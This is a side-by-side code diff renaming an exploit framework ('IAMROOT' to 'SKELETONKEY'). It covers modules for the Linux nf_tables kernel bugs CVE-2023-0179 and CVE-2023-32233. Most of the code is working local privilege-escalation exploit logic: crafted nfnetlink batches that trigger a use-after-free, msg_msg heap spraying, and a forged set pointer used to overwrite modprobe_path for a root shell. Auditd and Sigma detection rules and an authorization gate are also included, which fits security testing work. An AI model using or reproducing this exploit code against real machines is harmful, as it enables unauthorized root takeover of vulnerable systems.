@@ -1048,7 +1048,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as child " "likely fired (KASAN/oops can manifest as child "
"signal)\n", WTERMSIG(status)); "signal)\n", WTERMSIG(status));
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int rc = WEXITSTATUS(status); int rc = WEXITSTATUS(status);
@@ -1061,19 +1061,19 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
" Davide Ornaghi's payload-set + regs->data\n" " Davide Ornaghi's payload-set + regs->data\n"
" arb-write + modprobe_path overwrite chain.\n"); " arb-write + modprobe_path overwrite chain.\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (rc >= 20 && rc <= 24) { if (rc >= 20 && rc <= 24) {
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] nft_payload: trigger setup failed (child rc=%d)\n", fprintf(stderr, "[-] nft_payload: trigger setup failed (child rc=%d)\n",
rc); rc);
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc); fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */ #endif /* __linux__ */
} }
@@ -1081,15 +1081,15 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
* Cleanup. * Cleanup.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static iamroot_result_t nft_payload_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
{ {
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] nft_payload: tearing down log\n"); fprintf(stderr, "[*] nft_payload: tearing down log\n");
} }
if (unlink("/tmp/iamroot-nft_payload.log") < 0 && errno != ENOENT) { if (unlink("/tmp/skeletonkey-nft_payload.log") < 0 && errno != ENOENT) {
/* ignore */ /* ignore */
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* ------------------------------------------------------------------ /* ------------------------------------------------------------------
@@ -1101,16 +1101,16 @@ static const char nft_payload_auditd[] =
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by NETLINK_NETFILTER\n" "# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by NETLINK_NETFILTER\n"
"# socket setup. Canonical exploit shape: unprivileged userns + nft\n" "# socket setup. Canonical exploit shape: unprivileged userns + nft\n"
"# rule loading. False positives: firewalld, docker/podman rootless.\n" "# rule loading. False positives: firewalld, docker/podman rootless.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-payload-userns\n" "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-payload-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft-payload-userns\n" "-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft-payload-userns\n"
"# Watch for the canonical post-exploit primitive: setresuid(0,0,0)\n" "# Watch for the canonical post-exploit primitive: setresuid(0,0,0)\n"
"# from a previously-unpriv task is the smoking gun for any kernel LPE.\n" "# from a previously-unpriv task is the smoking gun for any kernel LPE.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 " "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 "
"-k iamroot-nft-payload-priv\n"; "-k skeletonkey-nft-payload-priv\n";
static const char nft_payload_sigma[] = static const char nft_payload_sigma[] =
"title: Possible CVE-2023-0179 nft_payload regset-OOB exploitation\n" "title: Possible CVE-2023-0179 nft_payload regset-OOB exploitation\n"
"id: c83d6e92-iamroot-nft-payload\n" "id: c83d6e92-skeletonkey-nft-payload\n"
"status: experimental\n" "status: experimental\n"
"description: |\n" "description: |\n"
" Detects the canonical exploit shape for CVE-2023-0179: an\n" " Detects the canonical exploit shape for CVE-2023-0179: an\n"
@@ -1134,7 +1134,7 @@ static const char nft_payload_sigma[] =
"level: high\n" "level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n"; "tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
const struct iamroot_module nft_payload_module = { const struct skeletonkey_module nft_payload_module = {
.name = "nft_payload", .name = "nft_payload",
.cve = "CVE-2023-0179", .cve = "CVE-2023-0179",
.summary = "nft_payload set-id regset OOB R/W (Davide Ornaghi) → kernel R/W", .summary = "nft_payload set-id regset OOB R/W (Davide Ornaghi) → kernel R/W",
@@ -1151,7 +1151,7 @@ const struct iamroot_module nft_payload_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_nft_payload(void) void skeletonkey_register_nft_payload(void)
{ {
iamroot_register(&nft_payload_module); skeletonkey_register(&nft_payload_module);
} }
@@ -0,0 +1,12 @@
/*
* nft_payload_cve_2023_0179 — SKELETONKEY module registry hook
*/
#ifndef NFT_PAYLOAD_SKELETONKEY_MODULES_H
#define NFT_PAYLOAD_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_payload_module;
#endif
+2 -2
View File
@@ -20,12 +20,12 @@ Upstream fix: mainline 6.4-rc4 (commit `c1592a89942e9`, May 2023).
Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 / Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 /
5.4.243 / 4.19.283. 5.4.243 / 4.19.283.
## IAMROOT role ## SKELETONKEY role
Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT
hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup
referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE
in the same transaction. msg_msg cg-512 spray with `IAMROOT_SET` in the same transaction. msg_msg cg-512 spray with `SKELETONKEY_SET`
tags. tags.
`--full-chain` forges a freed-set with `set->data = kaddr` at the `--full-chain` forges a freed-set with `set->data = kaddr` at the
@@ -1,12 +0,0 @@
/*
* nft_set_uaf_cve_2023_32233 — IAMROOT module registry hook
*/
#ifndef NFT_SET_UAF_IAMROOT_MODULES_H
#define NFT_SET_UAF_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_set_uaf_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* nft_set_uaf_cve_2023_32233 IAMROOT module * nft_set_uaf_cve_2023_32233 SKELETONKEY module
* *
* nf_tables anonymous-set UAF (Sondej + Krysiuk, May 2023). When an * nf_tables anonymous-set UAF (Sondej + Krysiuk, May 2023). When an
* anonymous `nft_set` referenced by an `nft_lookup` expression inside a * anonymous `nft_set` referenced by an `nft_lookup` expression inside a
@@ -16,11 +16,11 @@
* batch construction (table base chain anonymous set rule * batch construction (table base chain anonymous set rule
* with nft_lookup DELSET DELRULE) committed in a single batch, * with nft_lookup DELSET DELRULE) committed in a single batch,
* msg_msg cross-cache groom for kmalloc-cg-512 (32×16 messages * msg_msg cross-cache groom for kmalloc-cg-512 (32×16 messages
* tagged "IAMROOT_SET"), slabinfo snapshot before/after, and a * tagged "SKELETONKEY_SET"), slabinfo snapshot before/after, and a
* /tmp/iamroot-nft_set_uaf.log breadcrumb. Returns * /tmp/skeletonkey-nft_set_uaf.log breadcrumb. Returns
* IAMROOT_EXPLOIT_FAIL after the primitive fires (honest scope). * SKELETONKEY_EXPLOIT_FAIL after the primitive fires (honest scope).
* - With --full-chain: resolve kernel offsets; if no modprobe_path, * - With --full-chain: resolve kernel offsets; if no modprobe_path,
* refuse via iamroot_finisher_print_offset_help. Otherwise re-fire * refuse via skeletonkey_finisher_print_offset_help. Otherwise re-fire
* the trigger and spray msg_msg payloads forging a freed-set-object * the trigger and spray msg_msg payloads forging a freed-set-object
* whose data pointer points at modprobe_path, then drive * whose data pointer points at modprobe_path, then drive
* NFT_MSG_NEWSETELEM with our payload. FALLBACK-depth: the exact * NFT_MSG_NEWSETELEM with our payload. FALLBACK-depth: the exact
@@ -47,7 +47,7 @@
* - Crusaders-of-Rust follow-up writeup * - Crusaders-of-Rust follow-up writeup
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
@@ -142,16 +142,16 @@ static bool nf_tables_loaded(void)
} }
#endif /* __linux__ */ #endif /* __linux__ */
static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx)
{ {
#ifndef __linux__ #ifndef __linux__
(void)ctx; (void)ctx;
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
#else #else
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n"); fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Bug introduced in 5.1 (anonymous-set support). Anything below /* Bug introduced in 5.1 (anonymous-set support). Anything below
@@ -161,7 +161,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug " fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
"(anonymous-set support landed in 5.1)\n", v.release); "(anonymous-set support landed in 5.1)\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v); bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
@@ -169,7 +169,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release); fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
int userns_ok = can_unshare_userns(); int userns_ok = can_unshare_userns();
@@ -193,14 +193,14 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_set_uaf: still patch the kernel — a root " fprintf(stderr, "[i] nft_set_uaf: still patch the kernel — a root "
"attacker can still trigger the bug\n"); "attacker can still trigger the bug\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] nft_set_uaf: VULNERABLE — kernel in range AND " fprintf(stderr, "[!] nft_set_uaf: VULNERABLE — kernel in range AND "
"user_ns clone allowed\n"); "user_ns clone allowed\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
#endif #endif
} }
@@ -317,8 +317,8 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* Ruleset: anonymous-set UAF trigger. * Ruleset: anonymous-set UAF trigger.
* *
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES) * 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
* 2. NFT_MSG_NEWTABLE "iamroot_t" inet * 2. NFT_MSG_NEWTABLE "skeletonkey_t" inet
* 3. NFT_MSG_NEWCHAIN "iamroot_c" base, NF_INET_LOCAL_OUT hook * 3. NFT_MSG_NEWCHAIN "skeletonkey_c" base, NF_INET_LOCAL_OUT hook
* 4. NFT_MSG_NEWSET anonymous flags = ANONYMOUS|CONSTANT|EVAL * 4. NFT_MSG_NEWSET anonymous flags = ANONYMOUS|CONSTANT|EVAL
* 5. NFT_MSG_NEWRULE nft_lookup references the anonymous set * 5. NFT_MSG_NEWRULE nft_lookup references the anonymous set
* 6. NFT_MSG_DELSET delete the set in the same batch * 6. NFT_MSG_DELSET delete the set in the same batch
@@ -331,13 +331,13 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* UAF on commit-time set cleanup. * UAF on commit-time set cleanup.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_t"; static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "iamroot_c"; static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
static const char NFT_SET_NAME[] = "iamroot_s"; /* fixed-name placeholder; static const char NFT_SET_NAME[] = "skeletonkey_s"; /* fixed-name placeholder;
* anonymous flag still set */ * anonymous flag still set */
static const char NFT_RULE_HANDLE_ATTR[] = "iamroot_r"; static const char NFT_RULE_HANDLE_ATTR[] = "skeletonkey_r";
#define IAMROOT_SET_ID 0x42424242 #define SKELETONKEY_SET_ID 0x42424242
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq) static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
{ {
@@ -407,14 +407,14 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
NFT_SET_ANONYMOUS | NFT_SET_CONSTANT | NFT_SET_EVAL); NFT_SET_ANONYMOUS | NFT_SET_CONSTANT | NFT_SET_EVAL);
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 0); /* "integer" */ put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 0); /* "integer" */
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t)); put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
put_attr_u32(buf, off, NFTA_SET_ID, IAMROOT_SET_ID); put_attr_u32(buf, off, NFTA_SET_ID, SKELETONKEY_SET_ID);
end_msg(buf, off, at); end_msg(buf, off, at);
} }
/* NFT_MSG_NEWRULE: a single nft_lookup expression that references the /* NFT_MSG_NEWRULE: a single nft_lookup expression that references the
* anonymous set. The expression list contains one NFTA_LIST_ELEM whose * anonymous set. The expression list contains one NFTA_LIST_ELEM whose
* NFTA_EXPR_NAME = "lookup" and NFTA_EXPR_DATA.{ NFTA_LOOKUP_SREG=1, * NFTA_EXPR_NAME = "lookup" and NFTA_EXPR_DATA.{ NFTA_LOOKUP_SREG=1,
* NFTA_LOOKUP_SET_ID=IAMROOT_SET_ID }. * NFTA_LOOKUP_SET_ID=SKELETONKEY_SET_ID }.
*/ */
static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq) static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
{ {
@@ -432,7 +432,7 @@ static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
/* lookup expr attrs: source register, target set (by ID), no flags */ /* lookup expr attrs: source register, target set (by ID), no flags */
put_attr_u32(buf, off, NFTA_LOOKUP_SREG, 1 /* NFT_REG_1 */); put_attr_u32(buf, off, NFTA_LOOKUP_SREG, 1 /* NFT_REG_1 */);
put_attr_str(buf, off, NFTA_LOOKUP_SET, NFT_SET_NAME); put_attr_str(buf, off, NFTA_LOOKUP_SET, NFT_SET_NAME);
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, IAMROOT_SET_ID); put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, SKELETONKEY_SET_ID);
end_nest(buf, off, edata_at); end_nest(buf, off, edata_at);
end_nest(buf, off, el_at); end_nest(buf, off, el_at);
end_nest(buf, off, exprs_at); end_nest(buf, off, exprs_at);
@@ -510,13 +510,13 @@ static int nft_send_batch(int sock, const void *buf, size_t len)
* The freed nft_set object lives in kmalloc-cg-512 on lts-6.1.x and * The freed nft_set object lives in kmalloc-cg-512 on lts-6.1.x and
* 6.2.x builds (nft_set is ~448 bytes incl. ops vtable pointer + * 6.2.x builds (nft_set is ~448 bytes incl. ops vtable pointer +
* pcpu data, rounds to cg-512). We spray 32 queues × 16 messages * pcpu data, rounds to cg-512). We spray 32 queues × 16 messages
* tagged with the "IAMROOT_SET" prefix so KASAN/triage can correlate. * tagged with the "SKELETONKEY_SET" prefix so KASAN/triage can correlate.
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
#define SPRAY_QUEUES 32 #define SPRAY_QUEUES 32
#define SPRAY_MSGS_PER_QUEUE 16 #define SPRAY_MSGS_PER_QUEUE 16
#define MSG_PAYLOAD_BYTES 496 /* 512 - sizeof(msg_msg hdr ~= 16) */ #define MSG_PAYLOAD_BYTES 496 /* 512 - sizeof(msg_msg hdr ~= 16) */
#define IAMROOT_TAG "IAMROOT_SET" #define SKELETONKEY_TAG "SKELETONKEY_SET"
struct ipc_payload { struct ipc_payload {
long mtype; long mtype;
@@ -530,7 +530,7 @@ static int spray_msg_msg(int queues[SPRAY_QUEUES])
p.mtype = 0x53; /* 'S' for "set" */ p.mtype = 0x53; /* 'S' for "set" */
memset(p.buf, 0x53, sizeof p.buf); memset(p.buf, 0x53, sizeof p.buf);
/* recognizable cookie at the head of every message */ /* recognizable cookie at the head of every message */
memcpy(p.buf, IAMROOT_TAG, sizeof IAMROOT_TAG - 1); memcpy(p.buf, SKELETONKEY_TAG, sizeof SKELETONKEY_TAG - 1);
int created = 0; int created = 0;
for (int i = 0; i < SPRAY_QUEUES; i++) { for (int i = 0; i < SPRAY_QUEUES; i++) {
@@ -604,14 +604,14 @@ static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
static void log_breadcrumb(long before, long after, int sprayed) static void log_breadcrumb(long before, long after, int sprayed)
{ {
FILE *f = fopen("/tmp/iamroot-nft_set_uaf.log", "a"); FILE *f = fopen("/tmp/skeletonkey-nft_set_uaf.log", "a");
if (!f) return; if (!f) return;
time_t now = time(NULL); time_t now = time(NULL);
char ts[64]; char ts[64];
strftime(ts, sizeof ts, "%Y-%m-%dT%H:%M:%SZ", gmtime(&now)); strftime(ts, sizeof ts, "%Y-%m-%dT%H:%M:%SZ", gmtime(&now));
fprintf(f, "%s nft_set_uaf primitive fired: cg512 active %ld→%ld; " fprintf(f, "%s nft_set_uaf primitive fired: cg512 active %ld→%ld; "
"msg_msg sprayed=%d tag=%s\n", "msg_msg sprayed=%d tag=%s\n",
ts, before, after, sprayed, IAMROOT_TAG); ts, before, after, sprayed, SKELETONKEY_TAG);
fclose(f); fclose(f);
} }
@@ -631,7 +631,7 @@ static void log_breadcrumb(long before, long after, int sprayed)
* - the freed slot must be claimed by our spray, not by an * - the freed slot must be claimed by our spray, not by an
* unrelated kernel allocator race-dependent * unrelated kernel allocator race-dependent
* - the finisher's sentinel post-check is the source of truth; * - the finisher's sentinel post-check is the source of truth;
* missed writes return IAMROOT_EXPLOIT_FAIL, not fake success * missed writes return SKELETONKEY_EXPLOIT_FAIL, not fake success
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
/* Offset of `data` pointer in nft_set header on lts-6.1.x/6.2.x builds /* Offset of `data` pointer in nft_set header on lts-6.1.x/6.2.x builds
@@ -659,7 +659,7 @@ static int spray_forged_set_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n)
struct ipc_payload m; struct ipc_payload m;
memset(&m, 0, sizeof m); memset(&m, 0, sizeof m);
m.mtype = 0x5345544146; /* "FATESF" reversed tag */ m.mtype = 0x5345544146; /* "FATESF" reversed tag */
memcpy(m.buf, IAMROOT_TAG "_FORGE", sizeof IAMROOT_TAG + 5); memcpy(m.buf, SKELETONKEY_TAG "_FORGE", sizeof SKELETONKEY_TAG + 5);
/* Forge `set->data = kaddr` at the documented offset. msg_msg /* Forge `set->data = kaddr` at the documented offset. msg_msg
* eats ~0x30 bytes at the head as its own header; the payload * eats ~0x30 bytes at the head as its own header; the payload
@@ -756,21 +756,21 @@ static int nft_set_uaf_arb_write(uintptr_t kaddr, const void *buf, size_t len,
* Exploit body * Exploit body
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ctx)
{ {
if (!ctx->authorized) { if (!ctx->authorized) {
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n"); fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (geteuid() == 0) { if (geteuid() == 0) {
if (!ctx->json) if (!ctx->json)
fprintf(stderr, "[i] nft_set_uaf: already running as root\n"); fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* Re-confirm vulnerability. */ /* Re-confirm vulnerability. */
iamroot_result_t pre = nft_set_uaf_detect(ctx); skeletonkey_result_t pre = nft_set_uaf_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_set_uaf: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] nft_set_uaf: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
@@ -778,7 +778,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
#ifndef __linux__ #ifndef __linux__
(void)ctx; (void)ctx;
fprintf(stderr, "[-] nft_set_uaf: non-Linux host — exploit unavailable\n"); fprintf(stderr, "[-] nft_set_uaf: non-Linux host — exploit unavailable\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
#else #else
if (!ctx->json) { if (!ctx->json) {
if (ctx->full_chain) { if (ctx->full_chain) {
@@ -795,34 +795,34 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
/* --- --full-chain path: in-process (no fork) so the finisher's /* --- --full-chain path: in-process (no fork) so the finisher's
* modprobe_path trigger shares our userns+netns+sock. */ * modprobe_path trigger shares our userns+netns+sock. */
if (ctx->full_chain) { if (ctx->full_chain) {
struct iamroot_kernel_offsets koff; struct skeletonkey_kernel_offsets koff;
iamroot_offsets_resolve(&koff); skeletonkey_offsets_resolve(&koff);
if (!iamroot_offsets_have_modprobe_path(&koff)) { if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
iamroot_finisher_print_offset_help("nft_set_uaf"); skeletonkey_finisher_print_offset_help("nft_set_uaf");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
iamroot_offsets_print(&koff); skeletonkey_offsets_print(&koff);
if (enter_unpriv_namespaces() < 0) { if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_set_uaf: userns entry failed\n"); fprintf(stderr, "[-] nft_set_uaf: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
NETLINK_NETFILTER); NETLINK_NETFILTER);
if (sock < 0) { if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)"); perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
struct sockaddr_nl src = { .nl_family = AF_NETLINK }; struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) { if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL; perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
} }
int rcvbuf = 1 << 20; int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf); setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
uint8_t *batch = calloc(1, 16 * 1024); uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; } if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
struct nft_arb_ctx ac = { .sock = sock, .batch = batch, .qused = 0 }; struct nft_arb_ctx ac = { .sock = sock, .batch = batch, .qused = 0 };
for (int i = 0; i < SPRAY_QUEUES; i++) ac.qids[i] = -1; for (int i = 0; i < SPRAY_QUEUES; i++) ac.qids[i] = -1;
@@ -837,10 +837,10 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
if (nft_send_batch(sock, batch, blen) < 0) { if (nft_send_batch(sock, batch, blen) < 0) {
fprintf(stderr, "[-] nft_set_uaf: trigger batch failed\n"); fprintf(stderr, "[-] nft_set_uaf: trigger batch failed\n");
free(batch); close(sock); free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
iamroot_result_t r = iamroot_finisher_modprobe_path(&koff, skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&koff,
nft_set_uaf_arb_write, &ac, !ctx->no_shell); nft_set_uaf_arb_write, &ac, !ctx->no_shell);
/* drain whatever queues we created during arb-writes */ /* drain whatever queues we created during arb-writes */
@@ -852,7 +852,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
/* --- primitive-only path: fork-isolated trigger -------------- */ /* --- primitive-only path: fork-isolated trigger -------------- */
pid_t child = fork(); pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; } if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) { if (child == 0) {
/* --- CHILD --- */ /* --- CHILD --- */
@@ -884,7 +884,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] nft_set_uaf: pre-sprayed %d msg_msg queues " fprintf(stderr, "[*] nft_set_uaf: pre-sprayed %d msg_msg queues "
"(tag=%s)\n", sprayed, IAMROOT_TAG); "(tag=%s)\n", sprayed, SKELETONKEY_TAG);
} }
/* Snapshot before. */ /* Snapshot before. */
@@ -934,7 +934,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as child " "likely fired (KASAN/oops can manifest as child "
"signal)\n", WTERMSIG(status)); "signal)\n", WTERMSIG(status));
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
int rc = WEXITSTATUS(status); int rc = WEXITSTATUS(status);
@@ -944,11 +944,11 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
" UAF induced + msg_msg spray landed in\n" " UAF induced + msg_msg spray landed in\n"
" kmalloc-cg-512. R/W chain NOT executed\n" " kmalloc-cg-512. R/W chain NOT executed\n"
" (Option B scope).\n" " (Option B scope).\n"
"[i] nft_set_uaf: see /tmp/iamroot-nft_set_uaf.log\n" "[i] nft_set_uaf: see /tmp/skeletonkey-nft_set_uaf.log\n"
" for slab-delta breadcrumb. Pass --full-chain\n" " for slab-delta breadcrumb. Pass --full-chain\n"
" to attempt modprobe_path root-pop.\n"); " to attempt modprobe_path root-pop.\n");
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (rc >= 20 && rc <= 25) { if (rc >= 20 && rc <= 25) {
@@ -956,13 +956,13 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nft_set_uaf: trigger setup failed (child rc=%d)\n", fprintf(stderr, "[-] nft_set_uaf: trigger setup failed (child rc=%d)\n",
rc); rc);
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[-] nft_set_uaf: unexpected child rc=%d\n", rc); fprintf(stderr, "[-] nft_set_uaf: unexpected child rc=%d\n", rc);
} }
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */ #endif /* __linux__ */
} }
@@ -970,16 +970,16 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
* Cleanup best-effort drain * Cleanup best-effort drain
* ------------------------------------------------------------------ */ * ------------------------------------------------------------------ */
static iamroot_result_t nft_set_uaf_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t nft_set_uaf_cleanup(const struct skeletonkey_ctx *ctx)
{ {
(void)ctx; (void)ctx;
/* Best-effort breadcrumb removal. We can't drain msg queues from a /* Best-effort breadcrumb removal. We can't drain msg queues from a
* different process (they live in a private IPC namespace anyway, * different process (they live in a private IPC namespace anyway,
* which exited with the child). */ * which exited with the child). */
if (unlink("/tmp/iamroot-nft_set_uaf.log") != 0 && errno != ENOENT) { if (unlink("/tmp/skeletonkey-nft_set_uaf.log") != 0 && errno != ENOENT) {
/* not fatal */ /* not fatal */
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* ------------------------------------------------------------------ /* ------------------------------------------------------------------
@@ -992,18 +992,18 @@ static const char nft_set_uaf_auditd[] =
"# transactions that mix NEWSET+DELSET in the same batch. Legitimate\n" "# transactions that mix NEWSET+DELSET in the same batch. Legitimate\n"
